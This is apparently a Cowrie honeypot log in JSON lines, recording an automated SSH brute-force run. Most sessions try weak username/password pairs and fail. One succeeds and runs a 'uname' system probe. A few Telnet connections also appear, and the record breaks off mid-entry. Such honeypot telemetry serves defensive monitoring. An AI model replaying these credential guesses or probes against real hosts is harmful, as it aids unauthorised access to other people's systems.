{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44474,"dst_ip":"159.203.135.109","dst_port":22,"session":"18520dd72a74","protocol":"ssh","message":"New connection: 45.156.87.254:44474 (159.203.135.109:22) [session: 18520dd72a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:48.532261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:48.538612Z","src_ip":"45.156.87.254","session":"18520dd72a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:48.623960Z","src_ip":"45.156.87.254","session":"18520dd72a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:48.882145Z","src_ip":"45.156.87.254","session":"18520dd72a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:50.022123Z","src_ip":"45.156.87.254","session":"18520dd72a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57602,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0855daf077","protocol":"ssh","message":"New connection: 45.156.87.254:57602 (159.203.135.109:22) [session: 3b0855daf077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.306441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.311437Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":44452,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4c9881f013","protocol":"telnet","message":"New connection: 185.145.252.179:44452 (10.17.0.5:23) [session: 3d4c9881f013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.327550Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.394986Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.655275Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.878969Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:54.882867Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:55.007376Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:55.014052Z","src_ip":"45.156.87.254","session":"3b0855daf077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b272729ecd8","protocol":"ssh","message":"New connection: 45.156.87.254:54020 (159.203.135.109:22) [session: 3b272729ecd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:59.354025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:59.359155Z","src_ip":"45.156.87.254","session":"3b272729ecd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:59.442556Z","src_ip":"45.156.87.254","session":"3b272729ecd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:59.894821Z","src_ip":"45.156.87.254","session":"3b272729ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:00.986221Z","src_ip":"45.156.87.254","session":"3b272729ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54024,"dst_ip":"159.203.135.109","dst_port":22,"session":"b096554a6eda","protocol":"ssh","message":"New connection: 45.156.87.254:54024 (159.203.135.109:22) [session: b096554a6eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:05.496133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:05.507669Z","src_ip":"45.156.87.254","session":"b096554a6eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:05.593626Z","src_ip":"45.156.87.254","session":"b096554a6eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:05.847156Z","src_ip":"45.156.87.254","session":"b096554a6eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:06.935381Z","src_ip":"45.156.87.254","session":"b096554a6eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44258,"dst_ip":"159.203.135.109","dst_port":22,"session":"dba5735d74f3","protocol":"ssh","message":"New connection: 45.156.87.254:44258 (159.203.135.109:22) [session: dba5735d74f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:11.246511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:11.258595Z","src_ip":"45.156.87.254","session":"dba5735d74f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:11.357901Z","src_ip":"45.156.87.254","session":"dba5735d74f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:11.761067Z","src_ip":"45.156.87.254","session":"dba5735d74f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:12.852823Z","src_ip":"45.156.87.254","session":"dba5735d74f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44270,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b22838e7692","protocol":"ssh","message":"New connection: 45.156.87.254:44270 (159.203.135.109:22) [session: 1b22838e7692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:16.668139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:16.795907Z","src_ip":"45.156.87.254","session":"1b22838e7692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:16.807154Z","src_ip":"45.156.87.254","session":"1b22838e7692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:17.158679Z","src_ip":"45.156.87.254","session":"1b22838e7692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:18.248961Z","src_ip":"45.156.87.254","session":"1b22838e7692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2225e0f33ac9","protocol":"telnet","message":"New connection: 20.123.41.163:60922 (10.17.0.5:23) [session: 2225e0f33ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:18.403094Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42992,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef139365fe9e","protocol":"ssh","message":"New connection: 45.156.87.254:42992 (159.203.135.109:22) [session: ef139365fe9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:23.017760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:23.023458Z","src_ip":"45.156.87.254","session":"ef139365fe9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:23.110842Z","src_ip":"45.156.87.254","session":"ef139365fe9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:23.371023Z","src_ip":"45.156.87.254","session":"ef139365fe9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.708613872528076,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:24.111555Z","src_ip":"20.123.41.163","session":"2225e0f33ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:24.460219Z","src_ip":"45.156.87.254","session":"ef139365fe9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.210082292556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:24.537535Z","src_ip":"185.145.252.179","session":"3d4c9881f013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54492,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b04bf91c7f","protocol":"telnet","message":"New connection: 20.123.41.163:54492 (10.17.0.5:23) [session: c8b04bf91c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:27.944515Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60552,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7d78172c49","protocol":"ssh","message":"New connection: 45.156.87.254:60552 (159.203.135.109:22) [session: 7b7d78172c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.051340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:35:29.100284Z","src_ip":"45.156.87.254","session":"7b7d78172c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","a